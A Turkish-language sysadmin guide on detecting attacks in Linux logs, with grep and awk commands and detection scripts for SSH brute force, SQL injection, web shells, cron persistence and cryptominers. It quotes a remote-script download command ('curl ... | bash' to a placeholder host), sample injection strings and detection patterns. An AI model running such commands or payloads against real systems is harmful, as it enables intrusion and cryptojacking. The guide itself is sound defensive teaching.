Linux Log Dosyalarında Saldırı Tespiti

Bir gece yarısı telefonun çalması ve “sunucu hacklenmiş olabilir” mesajını almak, her sysadmin’in kabusu. Bu noktada yapacağın ilk şey log dosyalarına bakmak. Ama terabaytlarca log içinde neyi arayacağını bilmiyorsan, o dosyalar sana hiçbir şey söylemez. Log analizi, siber güvenliğin en kritik becerilerinden biri ve bu yazıda gerçek dünya senaryolarıyla nasıl yapılacağını adım adım ele alacağız.

Log Dosyaları Nerede ve Ne İşe Yarar?

Linux sistemlerde loglar genellikle /var/log/ dizininde toplanır. Hangi log dosyasının ne anlama geldiğini bilmek, saldırı tespitinde ilk adım.

/var/log/auth.log (Debian/Ubuntu) veya /var/log/secure (RHEL/CentOS): Kimlik doğrulama olayları, SSH girişleri, sudo kullanımı
/var/log/syslog veya /var/log/messages: Genel sistem olayları
/var/log/apache2/access.log veya /var/log/nginx/access.log: Web sunucusu erişim logları
/var/log/fail2ban.log: Brute-force engellemeleri
/var/log/kern.log: Kernel düzeyindeki olaylar
/var/log/audit/audit.log: SELinux ve sistem çağrısı denetimleri
/var/log/wtmp ve /var/log/btmp: Başarılı ve başarısız giriş geçmişi

Bunların dışında uygulama bazlı loglar da kritik olabilir. MySQL için /var/log/mysql/, cron işleri için /var/log/cron gibi.

SSH Brute-Force Saldırılarını Tespit Etme

En yaygın saldırı vektörlerinden biri SSH brute-force. Saldırganlar binlerce şifre kombinasyonu deneyerek sisteme girmeye çalışır. auth.log dosyasında bunu yakalamak oldukça kolay.

grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -20

Bu komut, hangi IP adresinden kaç başarısız giriş denemesi yapıldığını listeler. Örneğin çıktıda şunu görüyorsun:

    847 192.168.1.105
    623 10.0.0.44
    412 185.220.101.45

847 başarısız deneme yapan bir IP varsa, bu kesinlikle brute-force. Normal bir kullanıcı en fazla 3-5 kez hata yapar.

Daha detaylı analiz için zaman damgalarına da bakmak gerekir:

grep "Failed password" /var/log/auth.log | grep "185.220.101.45" | awk '{print $1, $2, $3}' | head -20

Eğer bu IP saniyede onlarca deneme yapıyorsa, otomatik bir araç kullanıyor demektir. Manuel brute-force bu kadar hızlı olamaz.

Başarılı girişleri de kontrol et. Çok sayıda başarısız denemeden sonra gelen bir başarılı giriş, kırmızı alarm:

grep "Accepted password|Accepted publickey" /var/log/auth.log | tail -50

Web Sunucusu Loglarında Saldırı İzleri

Web sunucusu logları, uygulama katmanındaki saldırıları tespit etmek için altın değerinde. Apache veya Nginx fark etmez, access logları benzer formatta gelir.

SQL Injection Denemelerini Tespit Etme

SQL injection denemeleri genellikle URL içinde union, select, drop, insert gibi SQL anahtar kelimeleri barındırır.

grep -iE "(union.*select|insert.*into|drop.*table|or.*1=1|'--|xp_cmdshell)" /var/log/apache2/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

Gerçek bir senaryoda şöyle bir çıktı alabilirsin:

     94 203.0.113.42 /login.php?id=1'%20OR%20'1'='1
     67 203.0.113.42 /product.php?cat=1%20UNION%20SELECT%201,2,3--

Aynı IP’den onlarca farklı SQL injection denemesi, bu bir tarayıcı aracının (sqlmap gibi) işi.

Directory Traversal Saldırıları

grep -E "../|..%2F|%2e%2e%2f" /var/log/nginx/access.log | awk '{print $1, $6, $7}' | sort | uniq -c | sort -rn

../../../etc/passwd gibi desenler, saldırganın dosya sisteminize erişmeye çalıştığını gösterir.

HTTP Status Kodlarını Analiz Etme

Çok sayıda 404 hatası tek bir IP’den geliyorsa, bu bir dizin tarama saldırısı olabilir:

awk '$9 == 404 {print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -10

Kısa sürede 500’den fazla 404 döndüren bir IP, büyük ihtimalle DirBuster veya Gobuster gibi bir araç kullanıyor.

Gerçek Dünya Senaryosu: Compromised Web Shell

Geçen yıl bir müşterinin sunucusunda inceleme yaparken şüpheli bir durumla karşılaştım. Web sunucusu normalden fazla CPU kullanıyordu. Access loglarına baktım:

grep "POST" /var/log/apache2/access.log | grep ".php" | awk '{print $1, $7, $9}' | sort | uniq -c | sort -rn

Çıktıda images/upload/ dizinindeki bir PHP dosyasına sürekli POST isteği geldiğini gördüm. Bu dosya bir web shell’di. Saldırgan önce dosya yükleme açığını kullanmış, ardından shell’i upload dizinine atmıştı.

Bu tür durumları tespit etmek için yükleme dizinlerine gelen POST isteklerini izlemek kritik.

/var/log/auth.log ile Derin Analiz

SSH dışındaki kimlik doğrulama olayları da önemli. Özellikle su ve sudo kullanımlarını takip etmek gerekir.

grep -E "sudo|su[" /var/log/auth.log | grep -v "pam_unix" | tail -30

Bir kullanıcının gece 3’te sudo komutları çalıştırması şüpheli olabilir. Özellikle yetkisi olmayan bir kullanıcı sudo almaya çalışıyorsa:

grep "sudo.*NOT in sudoers|sudo.*incorrect password" /var/log/auth.log

Bu çıktı sana privilege escalation girişimlerini gösterir.

Yeni kullanıcı oluşturma ve grup değişikliklerini de izle:

grep -E "useradd|usermod|groupadd|passwd" /var/log/auth.log

Bir saldırgan sisteme girdikten sonra kalıcılık sağlamak için yeni kullanıcı oluşturabilir. Bu satırları görüyorsan ve sen yapmadıysan, ciddi bir sorun var demektir.

Ağ Bağlantılarını Log ile Korelasyon

Sadece log dosyalarına bakmak yetmez. Aktif bağlantıları da loglarla karşılaştırmak gerekir.

ss -tnp | grep ESTABLISHED
netstat -tnp 2>/dev/null | grep ESTABLISHED

Beklenmedik dış IP’lere açık bağlantı varsa, bu bir reverse shell veya C2 (Command and Control) iletişimi olabilir. Bu IP’leri auth.log veya syslog ile karşılaştır.

/var/log/kern.log üzerinde firewall loglarına bakmak da işe yarar:

grep "iptables|nftables|REJECT|DROP" /var/log/kern.log | tail -50

Cron Job Manipülasyonunu Tespit Etme

Saldırganların en sevdiği kalıcılık yöntemlerinden biri zararlı cron job’lar eklemek. Bu değişiklikler de loglanır:

grep -E "cron|CRON" /var/log/syslog | grep -v "pam_unix|session opened|session closed" | tail -30

Şüpheli cron job’lar genellikle curl, wget veya base64 içerir. Çalışan cron job’lara da bak:

grep "CMD" /var/log/syslog | awk '{print $6, $7, $8, $9, $10, $11, $12}' | sort | uniq -c | sort -rn

Hiç görmediğin bir cron komutu çalışıyorsa, derhal incelemeye al.

Otomatik Log Analizi Araçları

Manuel analiz iyi bir başlangıç ama büyük sistemlerde yetersiz kalır. Birkaç araç bu işi kolaylaştırır.

fail2ban ile Aktif Koruma

fail2ban hem engeller hem de loglar. Şu ana kadar kaç IP engellendiğini görmek için:

fail2ban-client status sshd

Çıktı sana toplam ban sayısını ve aktif yasaklı IP listesini verir. Aynı zamanda /var/log/fail2ban.log dosyasında geçmişe dönük tüm ban işlemleri kayıtlıdır.

logwatch ile Günlük Özet

logwatch, logları otomatik analiz edip özet rapor üretir:

logwatch --detail High --mailto [email protected] --range today

Günlük mail olarak gönderilen bu raporlar, anomalileri hızlıca fark etmeni sağlar.

grep ile Özel Alarm Desenleri

Kritik olaylar için özel grep desenleri oluşturabilirsin:

#!/bin/bash
LOG="/var/log/auth.log"
THRESHOLD=10
DATE=$(date +"%b %e")

echo "=== Bugunun SSH Ozeti ==="
echo "Basarisiz giris denemeleri (IP bazli):"
grep "$DATE" $LOG | grep "Failed password" | awk '{print $11}' | sort | uniq -c | sort -rn | awk -v t=$THRESHOLD '$1 > t {print "UYARI: "$1" deneme - IP: "$2}'

echo ""
echo "Basarili girisler:"
grep "$DATE" $LOG | grep "Accepted" | awk '{print $3, $9, $11}'

Bu scripti /etc/cron.d/ altına koyup her sabah mail olarak gönderebilirsin.

auditd ile Derin Sistem Denetimi

Linux’ta auditd servisi, dosya erişimlerini ve sistem çağrılarını loglamak için güçlü bir araçtır. /var/log/audit/audit.log dosyasını analiz etmek biraz farklı.

ausearch -m USER_LOGIN -ts today | aureport --interpret

Giriş olaylarının okunabilir özetini verir.

Belirli bir dosyaya erişimi kim yaptı?

ausearch -f /etc/passwd -ts today

/etc/passwd dosyasına bugün kim dokundu? Bu sorunun cevabını anında alırsın. Bir saldırgan sisteme girdikten sonra kullanıcı bilgilerini okumaya çalışacaktır ve bunu auditd yakalar.

Şüpheli bir süreç ID’si varsa, o sürece ait tüm audit kayıtlarını çekebilirsin:

ausearch -p 1337 --interpret

Gerçek Dünya Senaryosu: Cryptominer Tespiti

Bir e-ticaret sitesinin sunucusundan yüksek CPU kullanımı şikayeti geldi. İlk bakışta normal görünüyordu ama logları inceleyince farklı bir tablo çıktı.

grep -E "wget|curl|chmod.*+x|bash.*-c" /var/log/syslog | tail -30

Çıktıda birkaç gün önce çalışmış şu komutu gördüm:

curl -s http://[kotu-ip]/miner.sh | bash

Birisi web uygulamasındaki bir açıktan yararlanarak uzak bir script çalıştırmıştı. Script, /tmp/ dizinine bir cryptominer indirip çalıştırmıştı.

Bu tip komutları tespit etmek için düzenli olarak syslog’u taramak gerekiyor. Özellikle /tmp/ ve /dev/shm/ gibi dizinlere yapılan indirmeler çok şüpheli:

grep -E "tmp|dev/shm" /var/log/syslog | grep -E "wget|curl|fetch" | tail -20

Log Rotasyonu ve Manipülasyon Tespiti

Akıllı saldırganlar bazen logları temizlemeye veya değiştirmeye çalışır. Bu durumu tespit etmek de önemli.

Log dosyalarının son değiştirilme zamanını kontrol et:

ls -la /var/log/auth.log /var/log/syslog /var/log/apache2/access.log
stat /var/log/auth.log

Bir log dosyası beklenmedik bir saatte değiştirilmişse şüphelenmek gerekir. Daha da iyisi, kritik log dosyalarının hash’ini düzenli olarak kaydet:

sha256sum /var/log/auth.log >> /root/.log_hashes.txt

Bu hash’leri karşılaştırarak manipülasyon olup olmadığını anlayabilirsin.

SIEM Olmadan Log Korelasyonu

Büyük şirketlerde Splunk veya ELK Stack gibi SIEM araçları var, ama küçük ortamlarda bunlar olmayabilir. Basit bir korelasyon script’i bile çok işe yarar:

#!/bin/bash
# Ayni IP hem web hem SSH saldirisi yapiyor mu kontrol et
echo "=== Coklu Vektorden Saldiri Tespiti ==="

# SSH'tan supheli IP'ler
SSH_IPS=$(grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | awk '$1 > 50 {print $2}')

# Web sunucusundan supheli IP'ler
WEB_IPS=$(awk '$9 >= 400 {print $1}' /var/log/apache2/access.log | sort | uniq -c | awk '$1 > 100 {print $2}')

echo "SSH brute-force IP'leri:"
echo "$SSH_IPS"

echo ""
echo "Web saldirisi IP'leri:"
echo "$WEB_IPS"

echo ""
echo "Her iki listede de olan IP'ler (cok tehlikeli):"
comm -12 <(echo "$SSH_IPS" | sort) <(echo "$WEB_IPS" | sort)

Aynı IP hem SSH brute-force hem web saldırısı yapıyorsa, bu koordineli ve hedefli bir saldırıya işaret eder.

İyi Pratikler ve Önleyici Tedbirler

Log analizi reaktif bir süreç olmamalı. Proaktif yaklaşım çok daha etkili.

Merkezi log sunucusu kur: rsyslog veya syslog-ng ile tüm sunucuların loglarını merkezi bir yere gönder. Saldırgan tek bir sunucunun loglarını silse bile merkezi kopya kalır.
Log dosyalarına yalnızca root yazsın: chmod 640 /var/log/auth.log ve sahipliğini root:adm yap.
Zaman senkronizasyonu şart: NTP olmadan farklı sunucuların loglarını karşılaştırmak imkansız. chronyc tracking ile senkronizasyonu kontrol et.
Logları ne kadar saklıyacağını belirle: KVKK ve PCI-DSS gibi düzenlemeler log saklama süresi gerektirir. logrotate konfigürasyonunu buna göre ayarla.
Kritik olaylar için anlık alarm: fail2ban’ı mail bildirimiyle konfigüre et, root girişlerini anlık olarak bildir.
Log analiz periyodu belirle: Her sabah 5 dakika log incelemesi, büyük sorunları küçükken yakalamanı sağlar.
Baseline oluştur: Normal trafik ve giriş sayılarını belirle. Sapmalar alarm olarak değerlendir.

Sonuç

Log analizi, hem bir sanat hem bir bilim. Hangi desenlerin normal hangilerinin şüpheli olduğunu zamanla öğreniyorsun. Bu yazıda ele aldığımız yöntemler bir başlangıç noktası, ama her ortam farklı.

En kritik nokta şu: logları düzenli oku. Haftalık değil, tercihen günlük. Bir saldırıyı 6 ay sonra değil, 6 saat içinde fark etmek istiyorsan logların senin en iyi dostun.

Eğer ekibinde SIEM araçları için bütçe varsa ELK Stack’i ücretsiz alternatif olarak değerlendir. Yoksa yukarıdaki grep ve bash komutları bile seni oldukça ileri götürür. Tecrübeli bir sysadmin olarak söylüyorum, en iyi güvenlik aracı düzenli log okuma alışkanlığıdır.

Sunucularında şüpheli bir şey gördüğünde paniklemek yerine, sistematik olarak bu adımları izle: kimlik doğrulama logları, web logları, sistem logları ve ağ bağlantıları. Bu dört kaynağın kesişimi sana hikayenin tamamını anlatır.

Linux Log Dosyalarında Saldırı Belirtilerini Tespit Etme